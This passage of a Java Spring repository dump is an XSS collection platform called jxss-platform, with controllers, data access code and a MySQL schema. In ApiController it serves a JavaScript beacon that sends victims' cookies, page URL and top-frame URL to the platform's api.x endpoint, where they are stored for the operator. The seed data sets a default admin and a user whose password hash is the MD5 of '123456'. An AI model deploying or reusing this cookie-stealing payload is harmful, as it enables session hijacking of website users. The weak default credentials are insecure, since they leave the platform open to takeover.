org.blue.xss.bean.Admin; 10 | import org.blue.xss.bean.Invite; 11 | import org.blue.xss.service.AdminService; 12 | import org.springframework.beans.factory.annotation.Autowired; 13 | import org.springframework.context.annotation.Scope; 14 | import org.springframework.stereotype.Controller; 15 | import org.springframework.web.bind.annotation.RequestMapping; 16 | import org.springframework.web.servlet.ModelAndView; 17 | 18 | @Controller 19 | @Scope("prototype") 20 | @RequestMapping("/Admin") 21 | public class AdminController { 22 | @Autowired 23 | private AdminService adminService; 24 | 25 | @RequestMapping(value="/Login") 26 | public String AdminLogin(){ 27 | return "adminlogin"; 28 | } 29 | 30 | 31 | @RequestMapping(value="/LoginCheck") 32 | public String checkAdminLogin(Admin admin , HttpServletRequest req){ 33 | 34 | Admin adm = adminService.checkAdminLogin(admin); 35 | if(adm!=null){ 36 | req.getSession().setAttribute("admin", adm); 37 | return "redirect:AdminIndex.x"; 38 | } 39 | 40 | return "redirect:Login.x"; 41 | } 42 | 43 | @RequestMapping(value="/AdminIndex") 44 | public ModelAndView AdminIndex(){ 45 | ModelAndView modelAndView = new ModelAndView("invite"); 46 | List usedInviteList = adminService.findUsedInvite(); 47 | List unusedInviteList = adminService.findUnusedInvite(); 48 | modelAndView.addObject("usedInviteList", usedInviteList); 49 | modelAndView.addObject("unusedInviteList", unusedInviteList); 50 | return modelAndView; 51 | } 52 | 53 | @RequestMapping(value="AdminInviteAdd") 54 | public void AddInvite(PrintWriter printWriter){ 55 | adminService.addInviteCode(); 56 | printWriter.print(""); 57 | } 58 | 59 | 60 | 61 | 62 | } 63 | -------------------------------------------------------------------------------- /src/org/blue/xss/controller/ApiController.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.controller; 2 | 3 | import java.io.PrintWriter; 4 | 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | 8 | import org.blue.xss.bean.Content; 9 | import org.blue.xss.service.ApiService; 10 | import org.springframework.beans.factory.annotation.Autowired; 11 | import org.springframework.context.annotation.Scope; 12 | import org.springframework.stereotype.Controller; 13 | import org.springframework.web.bind.annotation.RequestMapping; 14 | 15 | @Controller 16 | @Scope("prototype") 17 | public class ApiController { 18 | @Autowired 19 | private ApiService apiService; 20 | 21 | @RequestMapping(value = "api") 22 | public void insertContent(Content content, PrintWriter printWriter) { 23 | 24 | apiService.insertContent(content); 25 | 26 | printWriter.print(""); 27 | } 28 | 29 | @RequestMapping(value = "i") 30 | public void printJavaScriptCode(int pid, HttpServletRequest request, 31 | HttpServletResponse resp, PrintWriter printWriter) { 32 | 33 | String path = request.getContextPath(); 34 | String basePath = request.getScheme() + "://" + request.getServerName() 35 | + ":" + request.getServerPort() + path + "/"; 36 | 37 | String code = "(function(){(new Image()).src='" 38 | + basePath 39 | + "api.x?pid=" 40 | + pid 41 | + "&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&domain='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&content='+escape((function(){try{return document.cookie}catch(e){return ''}})())})();"; 42 | 43 | printWriter.print(code); 44 | 45 | resp.setContentType("application/javascript"); 46 | } 47 | 48 | } 49 | -------------------------------------------------------------------------------- /src/org/blue/xss/controller/IndexController.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.controller; 2 | 3 | import java.io.IOException; 4 | import java.io.PrintWriter; 5 | 6 | import javax.servlet.ServletException; 7 | import javax.servlet.http.HttpServlet; 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | 11 | public class IndexController extends HttpServlet { 12 | 13 | /** 14 | * 15 | */ 16 | private static final long serialVersionUID = -6572032839205899842L; 17 | public IndexController() { 18 | super(); 19 | } 20 | 21 | public void destroy() { 22 | super.destroy(); 23 | } 24 | 25 | public void doGet(HttpServletRequest request, HttpServletResponse response) 26 | throws ServletException, IOException { 27 | response.sendRedirect("Project/List.x"); 28 | } 29 | public void init() throws ServletException { 30 | } 31 | 32 | } 33 | -------------------------------------------------------------------------------- /src/org/blue/xss/controller/ProjectController.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/src/org/blue/xss/controller/ProjectController.java -------------------------------------------------------------------------------- /src/org/blue/xss/controller/UserController.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/src/org/blue/xss/controller/UserController.java -------------------------------------------------------------------------------- /src/org/blue/xss/dao/AdminDao.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.dao; 2 | 3 | import java.util.List; 4 | 5 | import org.blue.xss.bean.Admin; 6 | import org.blue.xss.bean.Invite; 7 | 8 | public interface AdminDao { 9 | 10 | Admin checkAdminLogin(Admin admin); 11 | 12 | List findUnusedInvite(); 13 | 14 | List findUsedInvite(); 15 | 16 | void addInviteCode(); 17 | 18 | } 19 | -------------------------------------------------------------------------------- /src/org/blue/xss/dao/AdminDaoImpl.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.dao; 2 | 3 | import java.util.List; 4 | 5 | import org.blue.xss.bean.Admin; 6 | import org.blue.xss.bean.Invite; 7 | import org.mybatis.spring.SqlSessionTemplate; 8 | import org.springframework.beans.factory.annotation.Autowired; 9 | import org.springframework.stereotype.Repository; 10 | 11 | @Repository 12 | public class AdminDaoImpl implements AdminDao{ 13 | @Autowired 14 | private SqlSessionTemplate session; 15 | 16 | public Admin checkAdminLogin(Admin admin) { 17 | 18 | Admin adm = session.selectOne("admin.checkAdminLogin", admin); 19 | 20 | return adm; 21 | } 22 | 23 | public List findUnusedInvite() { 24 | List unusedlist = session.selectList("invite.ViewUnusedInviteCode"); 25 | 26 | return unusedlist; 27 | } 28 | 29 | public List findUsedInvite() { 30 | List usedlist = session.selectList("invite.ViewUsedInviteCode"); 31 | 32 | return usedlist; 33 | } 34 | 35 | public void addInviteCode() { 36 | session.insert("invite.AddInviteCode"); 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /src/org/blue/xss/dao/ApiDao.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.dao; 2 | 3 | import org.blue.xss.bean.Content; 4 | 5 | public interface ApiDao { 6 | 7 | void insertContent(Content content); 8 | 9 | } 10 | -------------------------------------------------------------------------------- /src/org/blue/xss/dao/ApiDaoImpl.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.dao; 2 | 3 | import javax.annotation.Resource; 4 | 5 | import org.blue.xss.bean.Content; 6 | import org.mybatis.spring.SqlSessionTemplate; 7 | import org.springframework.stereotype.Repository; 8 | 9 | @Repository 10 | public class ApiDaoImpl implements ApiDao{ 11 | 12 | @Resource 13 | private SqlSessionTemplate session; 14 | 15 | public void insertContent(Content content) { 16 | session.insert("content.AddContentOfProject", content); 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /src/org/blue/xss/dao/ProjectDao.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.dao; 2 | 3 | import java.util.List; 4 | 5 | import javax.servlet.http.HttpServletRequest; 6 | 7 | import org.blue.xss.bean.Content; 8 | import org.blue.xss.bean.Project; 9 | 10 | public interface ProjectDao { 11 | 12 | List ViewProjectList(int uid); 13 | 14 | boolean insertProject(Project project); 15 | 16 | boolean deleteProject(Project project); 17 | 18 | List viewContentOfProject(Project project, int page, int pagesize, HttpServletRequest req); 19 | 20 | void deleteContentsOfProject(Content content); 21 | 22 | 23 | } 24 | -------------------------------------------------------------------------------- /src/org/blue/xss/dao/ProjectDaoImpl.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.dao; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | 6 | import javax.annotation.Resource; 7 | import javax.servlet.http.HttpServletRequest; 8 | 9 | import org.blue.xss.bean.Content; 10 | import org.blue.xss.bean.Project; 11 | import org.mybatis.spring.SqlSessionTemplate; 12 | import org.springframework.stereotype.Repository; 13 | 14 | @Repository 15 | public class ProjectDaoImpl implements ProjectDao { 16 | 17 | @Resource 18 | private SqlSessionTemplate session; 19 | 20 | public List ViewProjectList(int uid) { 21 | 22 | List proList = session.selectList("project.ViewProjectList", 23 | uid); 24 | 25 | return proList; 26 | } 27 | 28 | public boolean insertProject(Project project) { 29 | 30 | int insert = session.insert("project.AddProject", project); 31 | 32 | if (insert == 1) { 33 | return true; 34 | } 35 | 36 | return false; 37 | } 38 | 39 | public boolean deleteProject(Project project) { 40 | 41 | int delete = session.delete("project.DeleteProject", project); 42 | 43 | if (delete == 1) { 44 | return true; 45 | } 46 | 47 | return false; 48 | } 49 | 50 | 51 | public List viewContentOfProject(Project project, int page, 52 | int pagesize, HttpServletRequest req) { 53 | 54 | Project pro; 55 | List contentList; 56 | 57 | pro = session.selectOne("project.CheckProjectAndUser", project); 58 | if(pro==null){ 59 | return new ArrayList(); 60 | } 61 | int count = session.selectOne("content.countContentOfProject",project); 62 | int ppage = page<=1?1:page-1; 63 | int tpage = (int) Math.ceil((double)count / pagesize); 64 | int npage = page>=tpage?tpage:page+1; 65 | 66 | req.setAttribute("ppage", ppage); 67 | req.setAttribute("tpage", tpage); 68 | req.setAttribute("npage", npage); 69 | project.setPage((page-1)*pagesize); 70 | contentList = session.selectList("content.viewContentOfProjectList", project); 71 | 72 | return contentList; 73 | 74 | 75 | } 76 | 77 | public void deleteContentsOfProject(Content content) { 78 | session.delete("content.deleteContentsOfProject", content); 79 | } 80 | 81 | } 82 | -------------------------------------------------------------------------------- /src/org/blue/xss/dao/UserDao.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.dao; 2 | 3 | import org.blue.xss.bean.User; 4 | 5 | public interface UserDao { 6 | 7 | User UserLoginCheck(String username, String password); 8 | 9 | boolean userRegisterCheck(User user); 10 | 11 | boolean checkUsernameAndEmail(String username, String email); 12 | 13 | boolean checkInviteCodeIsUsed(String code); 14 | 15 | } 16 | -------------------------------------------------------------------------------- /src/org/blue/xss/dao/UserDaoImpl.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.dao; 2 | 3 | import javax.annotation.Resource; 4 | 5 | import org.blue.xss.bean.Invite; 6 | import org.blue.xss.bean.User; 7 | import org.mybatis.spring.SqlSessionTemplate; 8 | import org.springframework.stereotype.Repository; 9 | 10 | @Repository 11 | public class UserDaoImpl implements UserDao{ 12 | 13 | @Resource 14 | private SqlSessionTemplate session; 15 | 16 | public User UserLoginCheck(String username, String password) { 17 | 18 | 19 | User user = session.selectOne("user.LoginCheck",new User(username, password)); 20 | 21 | 22 | return user; 23 | } 24 | 25 | public boolean userRegisterCheck(User user) { 26 | int insert = session.insert("user.RegisterCheck", user); 27 | 28 | if(insert==1){ 29 | return true; 30 | } 31 | 32 | return false; 33 | } 34 | 35 | public boolean checkUsernameAndEmail(String username, String email) { 36 | 37 | User user2 = new User(); 38 | user2.setEmail(email); 39 | user2.setUsername(username); 40 | User user = session.selectOne("user.CheckUsernameAndEmail",user2); 41 | if(user==null){ 42 | return false; 43 | } 44 | 45 | return true; 46 | } 47 | 48 | public boolean checkInviteCodeIsUsed(String code) { 49 | 50 | Invite invite = session.selectOne("invite.CheckInviteCode", code); 51 | 52 | if(invite==null || invite.getIsuse()==1){ 53 | return true; 54 | }else{ 55 | session.selectOne("invite.UpdateInviteUsed", code); 56 | } 57 | 58 | return false; 59 | } 60 | 61 | 62 | 63 | } 64 | -------------------------------------------------------------------------------- /src/org/blue/xss/service/AdminService.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.service; 2 | 3 | import java.util.List; 4 | 5 | import org.blue.xss.bean.Admin; 6 | import org.blue.xss.bean.Invite; 7 | 8 | public interface AdminService { 9 | 10 | Admin checkAdminLogin(Admin admin); 11 | 12 | List findUsedInvite(); 13 | 14 | List findUnusedInvite(); 15 | 16 | void addInviteCode(); 17 | 18 | } 19 | -------------------------------------------------------------------------------- /src/org/blue/xss/service/AdminServiceImpl.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.service; 2 | 3 | import java.util.List; 4 | 5 | import org.blue.xss.bean.Admin; 6 | import org.blue.xss.bean.Invite; 7 | import org.blue.xss.dao.AdminDao; 8 | import org.blue.xss.util.Utils; 9 | import org.springframework.beans.factory.annotation.Autowired; 10 | import org.springframework.stereotype.Service; 11 | import org.springframework.transaction.annotation.Transactional; 12 | 13 | @Transactional 14 | @Service 15 | public class AdminServiceImpl implements AdminService{ 16 | @Autowired 17 | private AdminDao adminDao; 18 | 19 | public Admin checkAdminLogin(Admin admin) { 20 | 21 | admin.setAdminpass(Utils.Md5(admin.getAdminpass())); 22 | 23 | return adminDao.checkAdminLogin(admin); 24 | } 25 | 26 | public List findUsedInvite() { 27 | return adminDao.findUsedInvite(); 28 | } 29 | 30 | public List findUnusedInvite() { 31 | return adminDao.findUnusedInvite(); 32 | } 33 | 34 | public void addInviteCode() { 35 | adminDao.addInviteCode(); 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /src/org/blue/xss/service/ApiService.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.service; 2 | 3 | import org.blue.xss.bean.Content; 4 | 5 | public interface ApiService { 6 | 7 | void insertContent(Content content); 8 | 9 | 10 | } 11 | -------------------------------------------------------------------------------- /src/org/blue/xss/service/ApiServiceImpl.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.service; 2 | 3 | import org.blue.xss.bean.Content; 4 | import org.blue.xss.dao.ApiDao; 5 | import org.blue.xss.util.XssAndSqli; 6 | import org.springframework.beans.factory.annotation.Autowired; 7 | import org.springframework.stereotype.Service; 8 | 9 | import org.springframework.transaction.annotation.Transactional; 10 | 11 | @Transactional 12 | @Service 13 | public class ApiServiceImpl implements ApiService{ 14 | 15 | @Autowired 16 | private ApiDao apiDao; 17 | 18 | public void insertContent(Content content) { 19 | 20 | apiDao.insertContent( 21 | new Content(0, 22 | content.getPid(), 23 | XssAndSqli.xssEncode(content.getLocation()), 24 | XssAndSqli.xssEncode(content.getDomain()), 25 | XssAndSqli.xssEncode(content.getContent()), 26 | null) 27 | ); 28 | } 29 | 30 | 31 | 32 | } 33 | -------------------------------------------------------------------------------- /src/org/blue/xss/service/ProjectService.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.service; 2 | 3 | import java.util.List; 4 | 5 | import javax.servlet.http.HttpServletRequest; 6 | 7 | import org.blue.xss.bean.Content; 8 | import org.blue.xss.bean.Project; 9 | 10 | public interface ProjectService { 11 | 12 | List ProjectList(int uid); 13 | 14 | boolean insertProject(Project project); 15 | 16 | boolean deleteProject(Project project); 17 | 18 | List viewContentOfProject(Project project, int page, int pagesize, HttpServletRequest req); 19 | 20 | void deleteContentsOfProject(Content content); 21 | 22 | } 23 | -------------------------------------------------------------------------------- /src/org/blue/xss/service/ProjectServiceImpl.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.service; 2 | 3 | import java.util.List; 4 | 5 | import javax.servlet.http.HttpServletRequest; 6 | 7 | import org.blue.xss.bean.Content; 8 | import org.blue.xss.bean.Project; 9 | import org.blue.xss.dao.ProjectDao; 10 | import org.blue.xss.util.XssAndSqli; 11 | import org.springframework.beans.factory.annotation.Autowired; 12 | import org.springframework.stereotype.Service; 13 | import org.springframework.transaction.annotation.Transactional; 14 | 15 | @Transactional 16 | @Service 17 | public class ProjectServiceImpl implements ProjectService{ 18 | 19 | @Autowired 20 | private ProjectDao projectDao; 21 | 22 | public List ProjectList(int uid) { 23 | return projectDao.ViewProjectList(uid); 24 | } 25 | 26 | public boolean insertProject(Project project) { 27 | project.setPname(XssAndSqli.xssEncode(project.getPname())); 28 | project.setPdescription(XssAndSqli.xssEncode(project.getPdescription())); 29 | return projectDao.insertProject(project); 30 | } 31 | 32 | public boolean deleteProject(Project project) { 33 | return projectDao.deleteProject(project); 34 | } 35 | 36 | 37 | public List viewContentOfProject(Project project, int page, 38 | int pagesize, HttpServletRequest req) { 39 | return projectDao.viewContentOfProject(project , page , pagesize , req); 40 | } 41 | 42 | public void deleteContentsOfProject(Content content) { 43 | projectDao.deleteContentsOfProject(content); 44 | } 45 | 46 | 47 | 48 | } 49 | -------------------------------------------------------------------------------- /src/org/blue/xss/service/UserService.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.service; 2 | 3 | import org.blue.xss.bean.User; 4 | 5 | public interface UserService { 6 | 7 | User UserLoginCheck(String username, String password); 8 | 9 | boolean userRegisterCheck(User user); 10 | 11 | boolean checkUsernameAndEmail(String username, String email); 12 | 13 | boolean checkInviteCodeIsUsed(String code); 14 | 15 | } 16 | -------------------------------------------------------------------------------- /src/org/blue/xss/service/UserServiceImpl.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.service; 2 | 3 | import org.blue.xss.bean.User; 4 | import org.blue.xss.dao.UserDao; 5 | import org.springframework.beans.factory.annotation.Autowired; 6 | import org.springframework.stereotype.Service; 7 | import org.springframework.transaction.annotation.Transactional; 8 | 9 | @Service 10 | @Transactional 11 | public class UserServiceImpl implements UserService{ 12 | @Autowired 13 | private UserDao userDao; 14 | 15 | public User UserLoginCheck(String username, String password) { 16 | return userDao.UserLoginCheck(username , password); 17 | } 18 | 19 | public boolean userRegisterCheck(User user) { 20 | return userDao.userRegisterCheck(user); 21 | } 22 | 23 | public boolean checkUsernameAndEmail(String username, String email) { 24 | return userDao.checkUsernameAndEmail(username,email); 25 | } 26 | 27 | public boolean checkInviteCodeIsUsed(String code) { 28 | return userDao.checkInviteCodeIsUsed(code); 29 | } 30 | 31 | } 32 | -------------------------------------------------------------------------------- /src/org/blue/xss/util/AdminLoginCheckIntercepor.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.util; 2 | 3 | import javax.servlet.http.HttpServletRequest; 4 | import javax.servlet.http.HttpServletResponse; 5 | import javax.servlet.http.HttpSession; 6 | 7 | import org.blue.xss.bean.Admin; 8 | import org.springframework.web.servlet.ModelAndView; 9 | 10 | public class AdminLoginCheckIntercepor implements org.springframework.web.servlet.HandlerInterceptor{ 11 | 12 | public void afterCompletion(HttpServletRequest arg0, 13 | HttpServletResponse arg1, Object arg2, Exception arg3) 14 | throws Exception { 15 | 16 | } 17 | 18 | public void postHandle(HttpServletRequest arg0, HttpServletResponse arg1, 19 | Object arg2, ModelAndView arg3) throws Exception { 20 | 21 | } 22 | 23 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, 24 | Object arg2) throws Exception { 25 | 26 | HttpSession session = request.getSession(true); 27 | 28 | Admin admin = (Admin) session.getAttribute("admin"); 29 | 30 | 31 | if(admin==null){ 32 | response.sendRedirect("../Admin/Login.x"); 33 | return false; 34 | } 35 | return true; 36 | } 37 | 38 | 39 | 40 | } 41 | -------------------------------------------------------------------------------- /src/org/blue/xss/util/EncodingFilter.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.util; 2 | 3 | import java.io.IOException; 4 | 5 | import javax.servlet.Filter; 6 | import javax.servlet.FilterChain; 7 | import javax.servlet.FilterConfig; 8 | import javax.servlet.ServletException; 9 | import javax.servlet.ServletRequest; 10 | import javax.servlet.ServletResponse; 11 | 12 | public class EncodingFilter implements Filter{ 13 | 14 | public void destroy() { 15 | 16 | } 17 | 18 | public void doFilter(ServletRequest request, ServletResponse response, 19 | FilterChain chain) throws IOException, ServletException { 20 | 21 | request.setCharacterEncoding("utf-8"); 22 | response.setCharacterEncoding("utf-8"); 23 | response.setContentType("text/html;charset=utf-8"); 24 | chain.doFilter(request, response); 25 | 26 | } 27 | 28 | public void init(FilterConfig arg0) throws ServletException { 29 | // TODO Auto-generated method stub 30 | 31 | } 32 | 33 | 34 | 35 | } 36 | -------------------------------------------------------------------------------- /src/org/blue/xss/util/LoginCheckIntercepor.java: -------------------------------------------------------------------------------- 1 | package org.blue.xss.util; 2 | 3 | import javax.servlet.http.HttpServletRequest; 4 | import javax.servlet.http.HttpServletResponse; 5 | import javax.servlet.http.HttpSession; 6 | 7 | import org.blue.xss.bean.User; 8 | import org.springframework.web.servlet.ModelAndView; 9 | 10 | public class LoginCheckIntercepor implements org.springframework.web.servlet.HandlerInterceptor{ 11 | 12 | public void afterCompletion(HttpServletRequest arg0, 13 | HttpServletResponse arg1, Object arg2, Exception arg3) 14 | throws Exception { 15 | 16 | } 17 | 18 | public void postHandle(HttpServletRequest arg0, HttpServletResponse arg1, 19 | Object arg2, ModelAndView arg3) throws Exception { 20 | 21 | } 22 | 23 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, 24 | Object arg2) throws Exception { 25 | 26 | HttpSession session = request.getSession(true); 27 | 28 | User user = (User) session.getAttribute("user"); 29 | 30 | 31 | if(user==null){ 32 | 33 | //if(request.getRequestURI().indexOf("User")<0){ 34 | response.sendRedirect("../User/Login.x"); 35 | return false; 36 | //} 37 | 38 | } 39 | return true; 40 | } 41 | 42 | 43 | /* public void doFilter(ServletRequest arg0, ServletResponse arg1, 44 | FilterChain chain) throws IOException, ServletException { 45 | 46 | HttpServletRequest request = (HttpServletRequest)arg0; 47 | HttpServletResponse response =(HttpServletResponse) arg1; 48 | 49 | HttpSession session = request.getSession(true); 50 | 51 | Object user = session.getAttribute("user"); 52 | 53 | if(user==null || user.equals("")){ 54 | 55 | if(request.getRequestURI().indexOf("User")<0){ 56 | response.sendRedirect("../User/Login.x"); 57 | } 58 | 59 | } 60 | chain.doFilter(arg0, arg1); 61 | 62 | }*/ 63 | 64 | 65 | } 66 | -------------------------------------------------------------------------------- /src/org/blue/xss/util/Utils.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/src/org/blue/xss/util/Utils.java -------------------------------------------------------------------------------- /src/org/blue/xss/util/XssAndSqli.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/src/org/blue/xss/util/XssAndSqli.java -------------------------------------------------------------------------------- /xss.sql: -------------------------------------------------------------------------------- 1 | /* 2 | Navicat MySQL Data Transfer 3 | 4 | Source Server : localhost_3306 5 | Source Server Version : 50515 6 | Source Host : localhost:3306 7 | Source Database : xss 8 | 9 | Target Server Type : MYSQL 10 | Target Server Version : 50515 11 | File Encoding : 65001 12 | 13 | Date: 2017-06-21 11:58:07 14 | */ 15 | 16 | SET FOREIGN_KEY_CHECKS=0; 17 | 18 | -- ---------------------------- 19 | -- Table structure for `xss_admin` 20 | -- ---------------------------- 21 | DROP TABLE IF EXISTS `xss_admin`; 22 | CREATE TABLE `xss_admin` ( 23 | `id` int(11) NOT NULL AUTO_INCREMENT, 24 | `adminname` varchar(255) NOT NULL, 25 | `adminpass` varchar(255) NOT NULL, 26 | PRIMARY KEY (`id`) 27 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; 28 | 29 | -- ---------------------------- 30 | -- Records of xss_admin 31 | -- ---------------------------- 32 | INSERT INTO `xss_admin` VALUES ('1', 'admin', 'e10adc3949ba59abbe56e057f20f883e'); 33 | 34 | -- ---------------------------- 35 | -- Table structure for `xss_content` 36 | -- ---------------------------- 37 | DROP TABLE IF EXISTS `xss_content`; 38 | CREATE TABLE `xss_content` ( 39 | `cid` int(11) NOT NULL AUTO_INCREMENT, 40 | `pid` int(11) NOT NULL, 41 | `location` varchar(255) DEFAULT NULL, 42 | `domain` varchar(255) DEFAULT NULL, 43 | `content` varchar(255) DEFAULT NULL, 44 | `date` date NOT NULL, 45 | PRIMARY KEY (`cid`) 46 | ) ENGINE=InnoDB AUTO_INCREMENT=21 DEFAULT CHARSET=utf8; 47 | 48 | -- ---------------------------- 49 | -- Records of xss_content 50 | -- ---------------------------- 51 | 52 | -- ---------------------------- 53 | -- Table structure for `xss_invite` 54 | -- ---------------------------- 55 | DROP TABLE IF EXISTS `xss_invite`; 56 | CREATE TABLE `xss_invite` ( 57 | `id` int(11) NOT NULL AUTO_INCREMENT, 58 | `invitecode` varchar(255) NOT NULL, 59 | `credate` date NOT NULL, 60 | `isuse` int(11) NOT NULL, 61 | PRIMARY KEY (`id`) 62 | ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8; 63 | 64 | -- ---------------------------- 65 | -- Records of xss_invite 66 | -- ---------------------------- 67 | INSERT INTO `xss_invite` VALUES ('1', '123456', '2017-06-20', '1'); 68 | INSERT INTO `xss_invite` VALUES ('2', '35b2386b792ce67cb13c971b354e83f0', '2017-06-21', '0'); 69 | INSERT INTO `xss_invite` VALUES ('3', '8d70de529561d764a6acb2625a025480', '2017-06-21', '0'); 70 | 71 | -- ---------------------------- 72 | -- Table structure for `xss_project` 73 | -- ---------------------------- 74 | DROP TABLE IF EXISTS `xss_project`; 75 | CREATE TABLE `xss_project` ( 76 | `pid` int(11) NOT NULL AUTO_INCREMENT, 77 | `pname` varchar(255) NOT NULL, 78 | `pdescription` varchar(255) NOT NULL, 79 | `createdate` varchar(255) NOT NULL, 80 | `uid` int(11) NOT NULL, 81 | PRIMARY KEY (`pid`) 82 | ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8; 83 | 84 | -- ---------------------------- 85 | -- Records of xss_project 86 | -- ---------------------------- 87 | 88 | -- ---------------------------- 89 | -- Table structure for `xss_user` 90 | -- ---------------------------- 91 | DROP TABLE IF EXISTS `xss_user`; 92 | CREATE TABLE `xss_user` ( 93 | `userid` int(11) NOT NULL AUTO_INCREMENT, 94 | `email` varchar(255) NOT NULL, 95 | `username` varchar(255) NOT NULL, 96 | `password` varchar(255) NOT NULL, 97 | PRIMARY KEY (`userid`) 98 | ) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=utf8; 99 | 100 | -- ---------------------------- 101 | -- Records of xss_user 102 | -- ---------------------------- 103 | INSERT INTO `xss_user` VALUES ('9', 'test@qq.com', 'root', 'e10adc3949ba59abbe56e057f20f883e'); 104 | --------------------------------------------------------------------------------